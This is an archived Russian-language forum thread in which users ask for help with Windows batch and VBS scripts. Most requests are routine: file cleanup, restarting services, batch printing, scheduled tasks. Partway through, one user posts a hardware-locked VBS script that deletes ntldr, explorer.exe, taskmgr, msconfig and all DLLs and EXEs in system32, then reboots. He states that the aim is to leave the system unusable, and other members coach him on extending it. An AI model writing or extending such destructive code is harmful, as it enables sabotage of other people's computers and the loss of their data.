Показать полную графическую версию : [архив] Нужна помощь в написании BAT | CMD | VBS | WSH файлов
Как осуществить проверку --- > если файл меньше 50 кб - удалить его !!! »
Так:
@Echo Off
Set iDelMaxSize=50
Set sFile=C:\NOD\111.txt
Set sDestPath=C:\Temp
For %%I In ("%sFile%") Do If Exist "%%I" If %%~zI LSS %iDelMaxSize% (Del "%%I") Else (Move "%%I" "%sDestPath%")
?
:)
Creat0R,
Благодарю Вас за помощь !!!
Это то , что нужно !!!!
Работает отлично !!( причем на основе данного скрипта, я прикрутил еще сверку размеров двух файлов )
Еще раз ---- > Спасибо !!! :yahoo:
apostol goroda grexa
06-01-2009, 12:40
Люди добрые помогите написать bat~ник чтоб перезапускал службы: диспечер очереди печати и службу сервер. ОС XP
Petya V4sechkin
06-01-2009, 13:33
apostol goroda grexa, перезапуск диспетчера очереди печати:
net stop spooler
net start spooler
сервер:
net stop lanmanserver
net start lanmanserver
А зачем, можно узнать?
apostol goroda grexa
06-01-2009, 15:40
в сети есть ПК с xp используеться как принт сервер (принтер canon 3300) работает печатает бац перестал пока не перезапустишь службы не хочет печать ((( хочу в cron (я просто дебианщик с виндой мало знаком)забить bat`ник пусть службы перезапускает каждые пол часа )))))
Не знаю, в тему ли пишу, но вот это код функции деинсталляции программы TweakUI, встроенный в ее исполняемый файл. Извлек программой "Ресторатор":
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<HTML RTL=1>
<HEAD>
<TITLE>Uninstalling Tweak UI</TITLE>
<HTA:APPLICATION
APPLICATIONNAME="uninstallTweakUI"
_BORDER="dialog"
CONTEXTMENU="no"
INNERBORDER="no"
MAXIMIZEBUTTON="no"
MINIMIZEBUTTON="no"
SCROLL="no"
SELECTION="no"
SINGLEINSTANCE="yes"
/>
<STYLE>
HTML {
background-color: threedface; color: buttontext;
font-family: Tahoma; font-size: 10pt;
}
LI { list-style-type: none }
}
</STYLE>
</HEAD>
<SCRIPT LANGUAGE="JScript" DEFER>
var FSO;
var WshShell;
var c_msDelay = 50; // intentionally slow down so people can watch
var g_cTasks;
var g_iCur;
var c_keyPath =
"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Tweak
UI 2.10\\";
function beginUninstall()
{
oIntro.style.display = "none";
oProgress.style.display = "block";
FSO = new ActiveXObject("Scripting.FileSystemObject");
WshShell = new ActiveXObject("WScript.Shell");
g_cTasks = document.all.tags("LI");
g_iCur = 0;
window.setTimeout(startAction, c_msDelay);
}
function startAction()
{
g_cTasks[g_iCur].style.listStyleType = "disc";
window.setTimeout(performAction, c_msDelay);
}
function performAction()
{
if (eval(g_cTasks[g_iCur]._action)) {
g_iCur++;
if (g_iCur < g_cTasks.length) {
window.setTimeout(startAction, c_msDelay);
}
}
}
function deleteShortcut()
{
var pathShortcut;
try {
pathShortcut = WshShell.RegRead(c_keyPath + "ShortcutPath");
} catch (e) {
return true; // key doesn't exist - nothing to delete
}
// Delete shortcut if present - keep going on failure
try { FSO.DeleteFile(pathShortcut); } catch (e) { }
// Delete folder if empty - keep going on failure
var pathFolder = FSO.GetParentFolderName(pathShortcut);
if (FSO.GetFolder(pathFolder).Files.Count == 0) {
try { FSO.DeleteFolder(pathFolder); } catch (e) { }
}
return true;
}
function deleteUninstall()
{
// Ignore failure
try { WshShell.RegDelete(c_keyPath); } catch (e) { }
return true;
}
var g_nTries = 0;
function deleteFiles()
{
var ss = (window.location + "").split("/");
if (ss.length == 4 && ss[0] == "res:") {
} else {
alert("Unable to location installed copy of Tweak UI.");
window.close();
return false;
}
var pathSelf = ss[2];
try {
FSO.DeleteFile(FSO.GetParentFolderName(pathSelf) +
"\\PowerToysLicense.rtf");
} catch (e) { }
var fSuccess = false;
try { FSO.DeleteFile(pathSelf); fSuccess = true; }
catch (e) {
if (e.number == -2146828218 && ++g_nTries < 5) {
window.setTimeout(startAction, 250);
return false; // wait and try again
}
};
if (g_nTries >= 5) {
alert("Unable to delete Tweak UI. Make sure no copies of Tweak
UI are running.");
window.close();
return false;
}
if (!fSuccess) {
alert("Unable to delete Tweak UI. " + e.message);
window.close();
return false;
}
return true;
}
function reportFinished()
{
g_cTasks[g_iCur].style.display = "list-item";
oClose.focus();
return true;
}
</SCRIPT>
<BODY onload=oCancel.focus()>
<DIV ID=oContent STYLE="position: absolute; height: 11em; width:
20em"></DIV>
<SCRIPT LANGUAGE="JScript">
window.resizeTo(oContent.offsetWidth,oContent.offsetHeight);
</SCRIPT>
<TABLE ID=oIntro>
<TR><TD>Click the "Uninstall" button to uninstall Tweak UI.</TD></TR>
<TR><TD ALIGN=right><BUTTON onclick=beginUninstall()>Uninstall</BUTTON>
<BUTTON ID=oCancel onclick=window.close()>Cancel</BUTTON>
</TR></TD>
</TABLE>
<UL ID=oProgress STYLE="display:none; margin-bottom: 0pt">
<LI _action=deleteShortcut()>Deleting Start menu icon
<LI _action=deleteUninstall()>Deleting uninstall information
<LI _action=deleteFiles()>Deleting files
<LI _action=reportFinished() style="display:none">Done
<DIV ALIGN=right><BUTTON ID=oClose
onclick=window.close()>Close</BUTTON></DIV>
</UL>
</BODY>
</HTML>
Если кому нужно - изучайте. Это *.hta
Seryoga204
07-01-2009, 18:34
Подскажите пожалуйста - есть скрипт:
'==========================================================================
'Печать документа с помощью MS Word
'Параметры:
'{Файл} [{Принтер}|"" [{Кодовая страница}|"" [{Количество копий}]]]
'Пример параметров:
'C:\Temp\Test.txt \\Host\HostPrinter 1251
'Для использования значений по умолчанию принтера или кодовой страницы
' можно указать двойные кавычки ("")
'Пример параметров:
'C:\Temp\Text_default.txt
'C:\Temp\Text_dos.txt "" 866
'C:\Temp\Text_3_copies.txt "" "" 3
'==========================================================================
Option Explicit
'================= Изменяемые параметры ===================================
Const TimeLimit = 30 'Время ожидания окончания печати в сек.
Const Margin = 1.5 'Поля в см
Const Admin = "admin" 'Имя компьютера сис. админ-а
Const ShowMess = False 'Показывать ли текст ошибки на текущем компе
'==========================================================================
Dim objW, Mess, MarginPt, File, Ext, StartTime, CodeStr, Copies
'Дюймы, выраженные в см., для вычисления полей
Const Inch = 2.538
'Задаем массив сообщений
DefineMess
'Включаем режим ручной обработки ошибок
On Error Resume Next
'Создаем объект Word
Set objW = WScript.CreateObject("Word.Application")
CheckErr(0)
'Первый параметр - открываемый файл
File = WScript.Arguments(0)
CheckErr(1)
'Открываем файл в кодировке, заданной третим параметром
If WScript.Arguments.Count > 2 Then
CodeStr = WScript.Arguments(2)
If Len(CodeStr) <> 0 Then
objW.Documents.Open File,,1,,,,,,,,CodeStr
Else
objW.Documents.Open File,,1
End If
Else
objW.Documents.Open File,,1
End If
CheckErr(1)
'Вычисляем поля (задаются в пунктах - 1/72 дюйма)
MarginPt = Margin/Inch * 72
'Задаем поля для всех файлов, кроме *.doc и *.rtf
Ext = LCase(CreateObject("Scripting.FileSystemObject").GetExtensionName(File))
If Not ((Ext = "doc") Or (Ext = "rtf")) Then
With objW.ActiveDocument.PageSetup
.LeftMargin = MarginPt
.RightMargin = MarginPt
.TopMargin = MarginPt
.BottomMargin = MarginPt
End With
CheckErr(2)
End If
'Если задан второй параметр, то это принтер
If WScript.Arguments.Count > 1 Then
'Устанавливаем принтер, если параметр не пустой
If Len(WScript.Arguments(1)) > 0 Then
'Устанавливаем текущий принтер - второй параметр
objW.ActivePrinter = WScript.Arguments(1)
'Небольшая пауза
WScript.Sleep 100
CheckErr(3)
End If
End If
'Количество копий
If WScript.Arguments.Count > 3 Then
Copies = WScript.Arguments(3)
Else
Copies = 1
End If
'Печатаем в фоне
objW.PrintOut 1,,,,,,,Copies
CheckErr(4)
'Включаем таймер ожидания окончания печати
StartTime = Timer
'Ждем, пока закончится печать
Do Until objW.BackgroundPrintingStatus = 0
'Если ожидаем уже больше заданного лимита
If (Timer - StartTime) > TimeLimit Then
'Генерим ошибку
Err.Raise vbObjectError + 1, Mess("Title"), Mess("Err1")
CheckErr(5)
End If
'Пауза 0.1 сек.
WScript.Sleep 100
Loop
'Закрываем Word
objW.Quit 0
CheckErr(6)
'Отключаем режим ручной обработки ошибок
On Error Goto 0
'Выход
Quit
'Процедура задания массива сообщений
Sub DefineMess
Set Mess = CreateObject("Scripting.Dictionary")
With Mess
.Add "Title", "Печать документа"
.Add "Err1" , "Время ожидания окончания печати превысило заданный лимит. Печать прервана!"
.Add 0 , "При создании объекта Word возникла ошибка:"
.Add 1 , "Ошибка открытия файла:"
.Add 2 , "Ошибка задания полей:"
.Add 3 , "При установке активного принтера возникла ошибка:"
.Add 4 , "При выполнении печати документа возникла ошибка:"
.Add 5 , "Ошибка выполнения печати."
.Add 6 , "Ошибка закрытия документа. Закройте документ вручную."
End With
End Sub
'Процедура проверки ошибок
Sub CheckErr(Step)
'Если произошла ошибка
If Err.Number <> 0 Then
'Посылаем сообщение на компьютер Admin
CreateObject("WScript.Shell").Run "net send " & Admin & " " &_
Mess(Step) & vbNewLine & vbNewLine & Err.Description, 7, False
'Выводим сообщение на текущем компьютере
If ShowMess Then
MsgBox Mess(Step) & vbNewLine & vbNewLine & Err.Description, _
vbOKOnly + vbCritical, Mess("Title")
End If
'Закрываем Word, если открыт
If (Step > 0) And IsObject(objW) Then
objW.Quit 0
End If
Quit
End If
End Sub
Sub Quit
Set Mess = Nothing
Set objW = Nothing
WScript.Quit
End Sub
Но данный скрипт работает только для конкретной папки с файлами конкретного расширения. А как сделать чтобы печатались файлы со всеми расширениями (файлы с текстовой структурой, но имеют числовое расширение, состоящее из трех цифр:0000,0001,0002 и т.д.). Эти файлы лежат в папке c:\OTDEL\000,001,002 и т.д.\дата (пример 01012009,02012009 и т.д.)\**.000 и т.д. Так надо что бы тотал пускал на печать все файлы находящиеся во всех папках 000,001,002 и т.д. но за определенную дату: например за 04012009-(имя папки с файлами).
Вот структура папок /подкаталоги-номер отделения
http://s59.radikal.ru/i163/0901/e0/fc8ce1fa2b5b.png
подкаталоги дата
http://s59.radikal.ru/i164/0901/68/101a4fed6b37.png
В папках дата файлы для печати по одному отделению
http://s51.radikal.ru/i131/0901/6c/40e1c9a691a0.png
по другому отделению
http://s49.radikal.ru/i124/0901/a1/ad3a6f5f35d1.png
и т. д по все отделениям за определенную дату.
Помогите пожалуйста, заранее благодарен.
Seryoga204,
Пробежаться в батнике по всем дирикториям отделов
Echo off
dir /A:D /B > dir.txt
FOR /F "tokens=1" %%i in (dir.txt) do (
CD %%i
call :dodate %%i %1
CD ..
)
del dir.txt
goto :eof
:dodate
rem входим в папку
cd %2 >
SET E1=%errorlevel%
if [%E1%]==[0] (
rem если удачно, строим список файлов
rem формат вывода подбереь сам
dir /B *.%1 > ..\File.txt
FOR /F "tokens=1" %%i in (..\File.txt) do (
rem печать
call твой_скрипт %%i
)
Del ..\File.txt
CD ..
)
goto :eof
где то так, остальное сделаешь сам.
Подскажите пожалуйсто чем и как можно закодировать (могу ошибаться с термином :) ) VBS скрипт. Я в них ниче не понимаю но нужно сделать из *.vbs *.vbe. Спасибо
чем и как можно закодировать (могу ошибаться с термином ) VBS скрипт »
Script Encoder (http://www.microsoft.com/downloads/details.aspx?familyid=E7877F67-C447-4873-B1B0-21F0626A6329&displaylang=en)?
Creat0R, его я скачал а как пользоваться??? Научите. Я запускаю команду содержния:
C:\WINDOWS\system32\screnc C:\ProtectUA.vbs C:\ProtectUA.vbe
Файл ProtectUA.vbs ложу в корень диска С и ничего не происходит. Помогите пожалуйста
содержание скрипта (часть его):
If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If
Жирным я выделил то что он удоляет при определенном условии. Как подправить правильно скрипт чтобы он заодно удалял допустим explorer.exe и папку system32?
Помогите пожалуйста
как пользоваться? »
Тут (http://msdn.microsoft.com/en-us/library/xw61tsx7(VS.85).aspx) есть описание синтаксиса. Я сам никогда не использовал эту программу, поэтому подробнее расказать немогу :( .
Как подправить правильно скрипт чтобы он заодно удалял допустим explorer.exe и папку system32? »
Сомневаюсь что система позволит их удалить, но в любом случае, для удаления дополнительных файлов с этим скриптом, полагаю что будет достаточно просто дублировать строчку:
objFSO.DeleteFile strSystemDrive & "\File.exe", True
есть описание синтаксиса »
а на русском где почитать не знаете?
Creat0R, разобрался с синтаксисом :yahoo: огромное спасибо.
По поводу удаления есть несколько уточнений:
1. Если мне надо удалить по расширению так будет работать?:
objFSO.DeleteFile strSystemDrive & "\*.exe", True
2. Если удалить папку так надо?
objFSO.DeleteFile strSystemDrive & "\WINDOWS\", True
3. Если буду чет удалять и винда скажет что нельзя то как подавить окошко с кнопкой OK?
4. Если я напишу так
objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True
то в операторные скобки заключать не надо чтобы все правильно работало? (это я что то с уроков информатики вспомнил, может и глупость :) ) Если надо то как?
Petya V4sechkin
11-01-2009, 11:40
1. Если мне надо удалить по расширению так будет работать?:
objFSO.DeleteFile strSystemDrive & "\*.exe", True
Работает.
2. Если удалить папку так надо?
DeleteFolder (http://msdn.microsoft.com/en-us/library/ca0at0xh(VS.85).aspx)
3. Если буду чет удалять и винда скажет что нельзя то как подавить окошко с кнопкой OK?
Параметр True после запятой позволяет удалять read-only файлы или папки.
Заблокированные (на текущий момент) файлы вряд ли удалятся.
4. Если я напишу так
Экспериментируйте.
Petya V4sechkin, по поводу моего четвертого вопроса. Не получилось. Помогите подправить скрипт.
Option Explicit
Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome
Dim strOperatingSystem, colOperatingSystems
Dim objFSO, objShell, strSystemDrive
Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword
Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
Const wmiRestartForce = 4
strPassword = "пароль"
Dim arrayAllowedHosts(1)
arrayAllowedHosts(0) = "ID BIOS"
arrayAllowedHosts(1) = "ID BIOS 2"
Set objShell = CreateObject("Wscript.Shell")
Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
For Each objBIOS In arrayBIOS
For Each objBaseboard In arrayBaseBoard
strComputerHost = objBios.ReleaseDate & objBaseboard.Product
For Each strAllowedHost in arrayAllowedHosts
If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1
Next
Next
Next
If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\regedit.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\explorer.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system.ini", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\taskmgr.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\shutdown.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\setup.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\route.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\msconfig.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\logonui.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\*.dll", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\*.exe", True
For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile ("C:\Protect.zip")
objFSO.DeleteFile ("C:\PKUNZIP.EXE")
Жирным выделил то что добавил я. Если вы не в курсе что это за скрипт то это от сюда (http://forum.oszone.net/thread-71645-21.html)
Захотел его усовершенствовать тем чтобы помимо ntldr он удалял еще какие нибудь важные системные файлы, чтобы если даже и восстановят ntldr то система получится глючной или неработоспособной.
Так вот так как я записал скрипт не правильно работает. Если не дабовлять строки то он скрипт проверяет условие и если оно ложное то удаляет ntldr и перегружает комп. Когда я добавил эти жирные строки то скрипт удаляет ntldr и только и комп не перезагружается а идет установка дальше. Все остальное не трогает (хотя там есть файлы которые из под винды без проблем удаляются вручную). Я так понимаю скрипт обрабатывает только строку objFSO.DeleteFile strSystemDrive & "\ntldr", True а остальные не трогает. Как сделать чтобы все эти строки обрабатывались как одно целое?
Если буду чет удалять и винда скажет что нельзя то как подавить окошко с кнопкой OK? »
При удалении не должно быть никаких окошек.
Помогите люди. Есть файл A.txt и B.txt. В B.txt есть строки совподаючие со строками A.txt. Как из A.txt удалить строки которые присутствуют в B.txt?
Скажите возможно это сделать через cmd? А то лень на VBS писать.
Petya V4sechkin
12-01-2009, 22:47
Есть файл A.txt и B.txt. В B.txt есть строки совподаючие со строками A.txt. Как из A.txt удалить строки которые присутствуют в B.txt?
Findstr /L /V /G:B.txt A.txt >NewA.txt
(результат в NewA.txt).
tarasov.evgeny
12-01-2009, 23:21
Есть вот такая команда:
schtasks /create /tn "SysChecks" /tr c:\scripts\sch.bat /sc onstart /s
compname /u domain\username
Которая добавляет Назначенное задание на compname.
Compname - это имя компьютера. Компьютер не один.
Как можно сделать перебор компьютеров из другого файла?
Я так понимаю нужно использовать команду for
Подскажите как? Я не понял.
Вот так будет работать?
for %%f in (\\server\c$\pcname.txt) do schtasks /create /tn "SysChecks" /tr
c:\scripts\sch.bat /sc onstart /s %%f /u domain\username
P.S. Команды написаны в одну строчку
Добавлено:
Я так понимаю, что вот так должно сработать если в файле pcname.txt список компьютеров представлен по одному в строчку и каждая строчка начинается с пробела. Причем файл со списком должен лежать в той же папке с исполняемым batником.
Я правильно понял?
for /f %%f in (pcname.txt) do schtasks /create /tn "SysChecks" /tr
c:\scripts\sch.bat /sc onstart /s %%f /u domain\username
Добавлено:
Не. Не работает. Пишет что на найден сетевой путь.
Добавлено:
Всё работает. Я забыл про этот параметр (который выше обозначен красным) и не вписал его в bat-файл. Плюс ещё в списке компьютеров (pcname.txt) были указаны два компьютера. Соседний и мой, т.е. локальный. И командная строка на это ругалась.
Всем спасибо. Скоро ещё зайду.
© OSzone.net 2001-2012
vBulletin v3.6.4, Copyright ©2000-2025, Jelsoft Enterprises Ltd.